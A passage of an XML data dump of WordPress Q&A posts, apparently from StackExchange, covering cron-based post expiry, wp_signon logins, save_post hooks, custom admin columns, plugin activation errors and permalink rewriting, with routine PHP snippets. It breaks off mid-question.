  <row Id="3511" PostTypeId="2" ParentId="3510" CreationDate="2010-11-01T14:39:41.450" Score="1" ViewCount="" Body="&lt;p&gt;If you made your special offers a custom post type you could set the 'scheduled' date to the day you wanted it to expire then use this code to auto publish it on schedule after you've changed the scheduled date. The 'future_show' line goes with my 'show' custom post type so if you had a 'deal' custom post type it would say 'future_deal'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function sfn_setup_future_hook() {&#xA; // Replace native future_post function with replacement&#xA; remove_action('future_show','_future_post_hook');&#xA; add_action('future_show','publish_future_post_now');&#xA;}&#xA;&#xA;function publish_future_post_now($id) {&#xA;        wp_publish_post($id);&#xA;}&#xA;&#xA;add_action('init', 'sfn_setup_future_hook');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then set the post to expire if it's older than today on the server with the code below. It hooks into WordPress &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;cron&lt;/a&gt; so you're not running it all the time but you'll notice a line commented out that runs it on init so you can test it. For testing comment out the first 3 lines and use the init action. Don't do this on production though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// setting posts with current date or older to draft&#xA;if (!wp_next_scheduled('sfn_expire_hook')){&#xA;    wp_schedule_event( time(), 'hourly', 'sfn_expire_hook');&#xA;}&#xA;add_action( 'sfn_expire_hook', 'sfn_show_expire');&#xA;function sfn_show_expire(){&#xA;    global $wpdb;&#xA;    $server_time = date('mdy');&#xA;    $result = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE post_type = 'show' AND post_status = 'publish'&quot;);&#xA;    if( !empty($result)) foreach ($result as $a){&#xA;        $show_time = get_the_time('mdy', $a-&amp;gt;ID);&#xA;        if ( $server_time &amp;gt; $show_time ){&#xA;           $my_post = array();&#xA;           $my_post['ID'] = $a-&amp;gt;ID;&#xA;           $my_post['post_status'] = 'draft';&#xA;           wp_update_post( $my_post );&#xA;        }&#xA;    } // end foreach&#xA;}&#xA;// add_action( 'init', 'sfn_show_expire' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to change my function prefix (sfn) to your own just to sandbox it's function from anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; I just also thought that you could change the SQL query to grab posts in a category of 'deal' and it would work the same way. Creating an entire post type then including it in the site/blog may be more work than is needed.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2010-11-01T18:50:14.893" LastActivityDate="2010-11-01T18:50:14.893" />
  <row Id="3512" PostTypeId="2" ParentId="3509" CreationDate="2010-11-01T15:13:29.353" Score="1" ViewCount="" Body="&lt;p&gt;Try feeding the app an atom feed instead. (i.e. /feed/atom/ instead of /feed/.) The needed field(s) might be in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else, there are a few hooks to add them via plugins (see the wp-includes/feed-*.php files).&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-01T15:13:29.353" CommentCount="1" />
  <row Id="3513" PostTypeId="1" CreationDate="2010-11-01T15:27:35.967" Score="2" ViewCount="257" Body="&lt;p&gt;Is it possible to display archive pages of posts based on their taxonomies, and an archive page of a term in that taxonomy??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, i have a site about beauty products, and i write a product review as a post. I want to put it in the 'hair' category, and in the taxonomy 'shampoo', with the term 'dry'. I have managed to create an archive page for all posts within the 'hair' category, but i cant figure out how i then create a page to show all products that are in 'hair' AND with a taxonomy of 'shampoo'. I would also need a further page showing all products in 'hair' AND 'shampoo' AND 'dry'. ie. mysite/hair/shampoo/dry where hair is the category, shampoo is the taxonomy, and dry is the term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i on the right track in thinking i need to create a taxonomy-shampoo.php page? Any help would be greatly appreciated. Thanks,&#xA;Patrick.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-31T20:25:32.470" Title="Archive pages for posts based on their taxonomy?" Tags="&lt;archive&gt;&lt;taxonomy&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="3515" PostTypeId="1" AcceptedAnswerId="3516" CreationDate="2010-11-01T15:52:18.240" Score="2" ViewCount="187" Body="&lt;p&gt;I create user with wp_create_user,after succesfully creating a user I need to set his status to be logged in?How to set his status to be logged in ?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-11-04T10:08:50.863" Title="Set user loggin status?" Tags="&lt;3.0&gt;&lt;users&gt;&lt;functions&gt;" AnswerCount="3" />
  <row Id="3516" PostTypeId="2" ParentId="3515" CreationDate="2010-11-01T16:16:13.613" Score="3" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_signon&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_signon()&lt;/code&gt;&lt;/a&gt;. Ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$creds = array();&#xA;$creds['user_login'] = 'example';&#xA;$creds['user_password'] = 'plaintextpw';&#xA;$creds['remember'] = true;&#xA;&#xA;$user = wp_signon( $creds, false );&#xA;&#xA;if ( is_wp_error($user) )&#xA;    echo $user-&amp;gt;get_error_message();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_signon&quot; rel=&quot;nofollow&quot;&gt;See Codex for more details about &lt;code&gt;wp_signon()&lt;/code&gt;.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-01T16:16:13.613" CommentCount="2" />
  <row Id="3517" PostTypeId="2" ParentId="3507" CreationDate="2010-11-01T16:19:51.600" Score="1" ViewCount="" Body="&lt;p&gt;Here's how I'd do it. I'm just going to say, I haven't tested this code at all, so I don't know if it even works. It's more of a starting point for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jpb_custom_meta_permalink( $link, $post ){&#xA;  $post_meta = get_post_meta( $post-&amp;gt;ID, '&amp;lt;insert your meta key here&amp;gt;', true );&#xA;  if( empty( $post_meta ) || !is_string( $post_meta ) )&#xA;    $post_meta = '&amp;lt;insert your default value (could be an empty string) here&amp;gt;';&#xA;  $link = str_replace( '!!custom_field_placeholder!!', $post_meta, $link );&#xA;  return $link;&#xA;}&#xA;&#xA;add_filter( 'post_link', 'jpb_custom_meta_permalink', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would also have to go to your permalinks and change them to include &lt;code&gt;'!!custom_field_placeholder!!'&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'/%year%/%monthnum%/!!custom_field_placeholder!!/%postname%/'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will not add any significance to your permalinks, merely text. If you need to add meaning to the text that goes there, that's a lot more work.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-11-01T16:48:15.287" LastActivityDate="2010-11-01T16:48:15.287" CommentCount="1" />
  <row Id="3518" PostTypeId="2" ParentId="3335" CreationDate="2010-11-01T16:48:55.100" Score="1" ViewCount="" Body="&lt;p&gt;Maybe you can inspect &lt;a href=&quot;http://wordpress.org/extend/plugins/editor-tabs/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/editor-tabs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2010-11-01T16:48:55.100" CommentCount="1" />
  <row Id="3519" PostTypeId="2" ParentId="3372" CreationDate="2010-11-01T16:51:24.117" Score="1" ViewCount="" Body="&lt;p&gt;You're on WordPress.com, so there's no way to add functionality that will allow you to do this. You could always type the date/time manually whenever you update it.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-11-01T16:51:24.117" />
  <row Id="3520" PostTypeId="1" AcceptedAnswerId="3522" CreationDate="2010-11-01T16:52:52.630" Score="0" ViewCount="574" Body="&lt;p&gt;I have several functions that are called from inside a 'save_post' function. However, all of the functions that use the $post object are returning incorrect values because it appears that the default value being passed to 'save_post' is postID rather than post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pass the post object to the 'save_post' function in addition to the postID?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'my_save_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-07-04T15:21:33.267" Title="How can I pass $post object to 'save_post' add_action?" Tags="&lt;posts&gt;&lt;editor&gt;" AnswerCount="3" />
  <row Id="3521" PostTypeId="2" ParentId="3520" CreationDate="2010-11-01T16:59:50.983" Score="0" ViewCount="" Body="&lt;p&gt;Use get_post($post_id)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-01T16:59:50.983" />
  <row Id="3522" PostTypeId="2" ParentId="3520" CreationDate="2010-11-01T17:00:48.973" Score="3" ViewCount="" Body="&lt;p&gt;Do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'my_save_function', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the $post object will be passed as second argument to your function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_save_function($post_ID, $post) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-01T17:00:48.973" CommentCount="17" />
  <row Id="3523" PostTypeId="1" AcceptedAnswerId="3561" CreationDate="2010-11-01T17:19:26.573" Score="0" ViewCount="191" Body="&lt;p&gt;How can I best make WP link to the large version of the image in all posts (instead of the original one) without modifying all the data in the database? I'm probably looking for the best filter to attach to. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2011-04-19T12:24:59.843" Title="Link to large image version instead of original?" Tags="&lt;images&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="3524" PostTypeId="1" AcceptedAnswerId="3525" CreationDate="2010-11-01T17:35:01.203" Score="0" ViewCount="126" Body="&lt;p&gt;I'm not able to find the action handler page for the cforms plugin anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to write some function in the action handler page of the cforms plugin using the post values.&lt;/p&gt;&#xA;" OwnerUserId="1119" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-05-14T15:34:39.293" LastActivityDate="2011-05-14T15:34:39.293" Title="cannot find cforms action handler page" Tags="&lt;plugins&gt;&lt;plugin-cforms&gt;" AnswerCount="1" />
  <row Id="3525" PostTypeId="2" ParentId="3524" CreationDate="2010-11-01T18:01:05.413" Score="1" ViewCount="" Body="&lt;p&gt;In the main cforms plugin folder, find the file called &lt;code&gt;my-functions.php&lt;/code&gt;. You can add functions to that file as needed. Its pretty well-commented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is add a function called &lt;code&gt;my_cforms_logic&lt;/code&gt; or &lt;code&gt;my_cforms_action&lt;/code&gt;, which get triggered at several different hooks during form submission and processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the docs, you can move the &lt;code&gt;my-functions.php&lt;/code&gt; file (annd any css tweaks you make) into a separate folder called “cforms-custom” to protect your customizations from future upgrades...&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-01T18:01:05.413" CommentCount="1" />
  <row Id="3526" PostTypeId="1" AcceptedAnswerId="3527" CreationDate="2010-11-01T18:02:25.100" Score="1" ViewCount="111" Body="&lt;p&gt;The &quot;word_count&quot; function below returns different values depending on where its called from. Why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'my_custom_save', 10, 2);&#xA;&#xA;function myPlugin($post)&#xA;{&#xA;    global $rockScore;&#xA;    global $text;&#xA;    $text = strip_tags($post-&amp;gt;post_content);&#xA;    echo word_count($post); //returns &quot;350&quot;&#xA;}&#xA;&#xA;function word_count($post)&#xA;{&#xA;    global $text;&#xA;    $word_count = explode(' ', $text);&#xA;    $word_count = count($word_count);&#xA;return $word_count;&#xA;}&#xA;&#xA;function my_custom_save($postID, $post){&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $postID;&#xA;    }&#xA;    else&#xA;    {&#xA;        if($parent_id = wp_is_post_revision($postID))&#xA;        {&#xA;        $postID = $parent_id;&#xA;        }&#xA;        echo word_count($post);die; //still returns &quot;1&quot;&#xA;    }&#xA;}&#xA;&#xA;register_activation_hook(__FILE__, 'myPlugin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-01T18:26:07.520" LastActivityDate="2010-11-01T18:26:07.520" Title="Function returns different value when called from 'save_post' than when called on page load" Tags="&lt;functions&gt;" AnswerCount="1" />
  <row Id="3527" PostTypeId="2" ParentId="3526" CreationDate="2010-11-01T18:09:28.417" Score="1" ViewCount="" Body="&lt;p&gt;Probably revisions. Check $post-&gt;post_type.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-01T18:09:28.417" CommentCount="9" />
  <row Id="3528" PostTypeId="1" AcceptedAnswerId="3529" CreationDate="2010-11-01T19:03:37.267" Score="1" ViewCount="130" Body="&lt;p&gt;Can I use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;wp_schedule_event()&lt;/a&gt; to set up a cron job from within a widget? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried, but I can't make it work, The problem seems to be the $hook parameter. The function I'm trying to hook is located within the widget class so my guess is that WP can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;neither of these work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_schedule_event(time(), 'daily', 'my_widget_cron');&#xA;wp_schedule_event(time(), 'daily', array(&amp;amp;$this, 'my_widget_cron'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-11-01T20:05:16.543" Title="Schedule cron event from widget" Tags="&lt;3.0&gt;&lt;widgets&gt;&lt;hooks&gt;&lt;cron&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3529" PostTypeId="2" ParentId="3528" CreationDate="2010-11-01T19:13:18.360" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_schedule_event&lt;/code&gt; takes a hook as parameter, not a function. Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_schedule_event(time(), 'daily', 'my_daily_event');&#xA;&#xA;add_action('my_daily_event', array(&amp;amp;$this, 'my_widget_cron'));&#xA;&#xA;if ( !wp_next_scheduled( 'my_daily_event' ) ) {&#xA;    wp_schedule_event(time(), 'hourly', 'my_daily_event')&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you remove the widget from the sidebar, the cron will still continue to run.&#xA;You can run the following code (outside of the widget class) to clear it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !is_active_widget('your_widget_callback_function') &amp;amp;&amp;amp; wp_next_scheduled( 'my_daily_event' ) ) {&#xA;    wp_clear_scheduled_hook('my_daily_event');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-11-01T20:05:16.543" LastActivityDate="2010-11-01T20:05:16.543" CommentCount="2" />
  <row Id="3530" PostTypeId="1" AcceptedAnswerId="3547" CreationDate="2010-11-01T19:52:36.797" Score="0" ViewCount="289" Body="&lt;p&gt;I want to show a dropdown in the option's panel for choosing a &quot;featured product category&quot; which is a custom taxonomy.&#xA;I do this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&quot;Catalogs&quot;,&#xA;    array(&quot;kmproduct&quot;),&#xA;    array(&quot;hierarchical&quot; =&amp;gt; true,&#xA;          &quot;label&quot; =&amp;gt; &quot;Catalogs&quot;,&#xA;          &quot;singular_label&quot; =&amp;gt; &quot;catalog&quot;,&#xA;          &quot;rewrite&quot; =&amp;gt; true   ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in my &lt;code&gt;theme_options.php&lt;/code&gt; i have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;array( &quot;name&quot; =&amp;gt; &quot;Homepage featured category&quot;,  &#xA;      &quot;desc&quot; =&amp;gt; &quot;Choose a category from which featured posts are drawn&quot;, &#xA;      &quot;id&quot; =&amp;gt; $shortname.&quot;_feat_cat&quot;,  &#xA;      &quot;type&quot; =&amp;gt; &quot;select&quot;,  &#xA;      &quot;options&quot; =&amp;gt; $wp_tax,  &#xA;      &quot;std&quot; =&amp;gt; &quot;Choose a category&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I can't get the taxonomies list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(   'name' =&amp;gt; 'Catalogs');&#xA;&#xA;$output = 'names'; // or objects    &#xA;$taxonomies = get_taxonomies($args,$output);&#xA;&#xA;$wp_tax = array();  &#xA;foreach ($taxonomies as $category_list ) {  &#xA;     $wp_tax[$category_list-&amp;gt;ID] = $category_list-&amp;gt;name; &#xA;}&#xA;&#xA;array_unshift($wp_tax, &quot;Choose a category&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong? I can't get it to work :(&lt;/p&gt;&#xA;" OwnerUserId="1484" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-02T10:02:14.757" LastActivityDate="2010-11-05T18:46:15.763" Title="List taxonomies in a dropdown in theme's option panel" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3531" PostTypeId="1" AcceptedAnswerId="3532" CreationDate="2010-11-01T20:04:04.837" Score="3" ViewCount="328" Body="&lt;p&gt;When you click on &quot;Posts&quot; or &quot;Pages&quot;, you get a paged listing of your posts or pages with the following columns: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Title | Author | Categories | Tags | Date&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin which gives an SEO score for each post and page. I would like to add two columns to the list view when viewing posts or pages, one for the post's &quot;seo score&quot; and one for the posts &quot;seo keyword&quot; so that the column listing becomes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Title | Author | Categories | Tags | Date | SEO Score | SEO Keywords&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-01T20:29:38.047" Title="How can I add columns to the post edit listing to show my custom post data?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="3532" PostTypeId="2" ParentId="3531" CreationDate="2010-11-01T20:29:38.047" Score="6" ViewCount="" Body="&lt;p&gt;You add the column using &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L599&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;manage_posts_column&lt;/code&gt; filter&lt;/a&gt;, where you add two new array elements with a custom key name and the header name as the value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_posts_columns', 'add_seo_columns', 10, 2);&#xA;function add_dummy_column($posts_columns, $post_type)&#xA;{&#xA;    $posts_columns['seo_score'] = 'SEO score';&#xA;    $posts_columns['seo_keyword'] = 'SEO keyword';&#xA;    return $posts_columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function that displays each row, &lt;code&gt;_post_row()&lt;/code&gt;, then fires the &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L1459&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;manage_posts_custom_column&lt;/code&gt;&lt;/a&gt; action for each column that it does not know. You hook into this function to display your own data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_posts_custom_column', 'display_seo_columns', 10, 2);&#xA;function display_seo_columns($column_name, $post_id)&#xA;{&#xA;    if ('seo_score' == $column_name) {&#xA;        echo 'SEO score for post with ID ' . $post_id;&#xA;    }&#xA;    if ('seo_keyword' == $column_name) {&#xA;        echo 'SEO keyword for post with ID ' . $post_id;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-01T20:29:38.047" CommentCount="1" />
  <row Id="3533" PostTypeId="1" AcceptedAnswerId="3534" CreationDate="2010-11-01T21:36:32.867" Score="0" ViewCount="342" Body="&lt;p&gt;I'm getting this message each time I activate my plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The plugin generated 80 characters of unexpected output during activation. If you notice “headers already sent” messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can suppress the message is to wrap my activation function code in a conditional (**see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I rewrite this to prevent the alert?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myPlugin($post)&#xA;{&#xA;    echo &quot;Whatever is here throws an unexpected output alert when the plugin isa activated&quot;;&#xA;//I can place code here without issue, but anything that is output via echo throws the alert.&#xA;}&#xA;register_activation_hook(__FILE__, 'myPlugin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wrapping the function code in the conditional suppresses the alerts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myPlugin($post)&#xA;{&#xA;    global $pagenow;&#xA;    if ( is_admin() &amp;amp;&amp;amp; $pagenow !== 'plugins.php' ) {&#xA;        echo &quot;No more alerts when its wrapped this way&quot;;&#xA;        }&#xA;}&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-02T02:19:23.823" LastActivityDate="2010-11-02T02:19:23.823" Title="The plugin generated 80 characters of unexpected output!" Tags="&lt;plugin-development&gt;&lt;headers&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3534" PostTypeId="2" ParentId="3533" CreationDate="2010-11-01T21:51:08.473" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get this kind of message is &lt;strong&gt;usually means your plugin had a syntax error&lt;/strong&gt; and was generating that kind of error messages because of how the loading on activation is handled, i.e. HTTP headers are sent after the error message is display.  Your plugin's error message is loaded in an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;; have you done a &lt;em&gt;&quot;View Source&quot;&lt;/em&gt; on the &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; to see if there's an obvious error message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you should consider getting an HTTP debugger which can help with this kind of things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows has the &lt;em&gt;excellent&lt;/em&gt; and &lt;strong&gt;free&lt;/strong&gt; &lt;a href=&quot;http://www.fiddler2.com/fiddler2/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Fiddler&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For Mac OS X there's &lt;a href=&quot;http://www.tuffcode.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;HTTPScoop&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(not great, but inexpensive at &lt;strong&gt;US$15&lt;/strong&gt;.)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's also &lt;a href=&quot;http://www.charlesproxy.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Charles&lt;/strong&gt;&lt;/a&gt; for Windows/Mac/Linux &lt;em&gt;(&lt;strong&gt;US$50&lt;/strong&gt; - I may break down and buy it one day. Wish I could get Fiddler on Mac, but since Fiddler comes from Microsoft I don't hold my breath.)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Based on the comments below, here's a screen of me using &lt;em&gt;&quot;Inspect Element&quot;&lt;/em&gt; in Safari (but you can do the same with Chrome and FireFox, or similar with IE and the Web Developer Toolbar):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101101-203609.png&quot; alt=&quot;Screenshot of Element Inspector on Safari with the WordPress plugin error IFRAME&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can grab that &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;d URL and load it directly in your browser to make the process of debugging easier. Something in your plugin is sending q &lt;code&gt;header()&lt;/code&gt; &lt;strong&gt;&lt;em&gt;after&lt;/em&gt;&lt;/strong&gt; an error message is thrown, that's what that error message means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-514-20101101-203737.png&quot; alt=&quot;Loading WordPress Plugin Activation URL directly from the browser&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I just added a stray character and hence syntax error in my plugin to get it to throw an error which is why you see the error as you do.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-02T00:41:56.517" LastActivityDate="2010-11-02T00:41:56.517" CommentCount="9" />
  <row Id="3535" PostTypeId="1" CreationDate="2010-11-01T23:01:23.733" Score="2" ViewCount="319" Body="&lt;p&gt;Is it possible to change the wordpress logo that appears in the browser tab for a wordpress.com website?&lt;/p&gt;&#xA;" OwnerUserId="1423" LastActivityDate="2010-11-03T13:41:25.530" Title="How do I change the wordpress logo in the browser tab?" Tags="&lt;wordpress.com&gt;" AnswerCount="2" />
  <row Id="3536" PostTypeId="2" ParentId="3535" CreationDate="2010-11-01T23:12:34.133" Score="5" ViewCount="" Body="&lt;p&gt;Seth, always try the Wordpress.com forums first. :)  Below should help you out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/avatars/blavatars/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/avatars/blavatars/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2010-11-01T23:12:34.133" />
  <row Id="3537" PostTypeId="1" AcceptedAnswerId="3575" CreationDate="2010-11-02T00:11:52.860" Score="3" ViewCount="434" Body="&lt;p&gt;I'm creating som custom templates in Wordpress and I'm passing some data in the URL's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently my URL looks like this:&#xA;&lt;a href=&quot;http://www.mysite.com/designers/?id=43&amp;amp;name=designer+name&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/designers/?id=43&amp;amp;name=designer+name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL contains designer ID and designer name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to use this:&#xA;&lt;a href=&quot;http://www.mysite.com/designers/designer+name/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/designers/designer+name/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My permalink structure is set to &lt;code&gt;/%category%/%postname%/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My .htaccess file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've looked at &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks&lt;/a&gt;, but not become any wiser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any point in changing the above URL regarding SEO&lt;/li&gt;&#xA;&lt;li&gt;How can I get the &quot;pretty&quot; 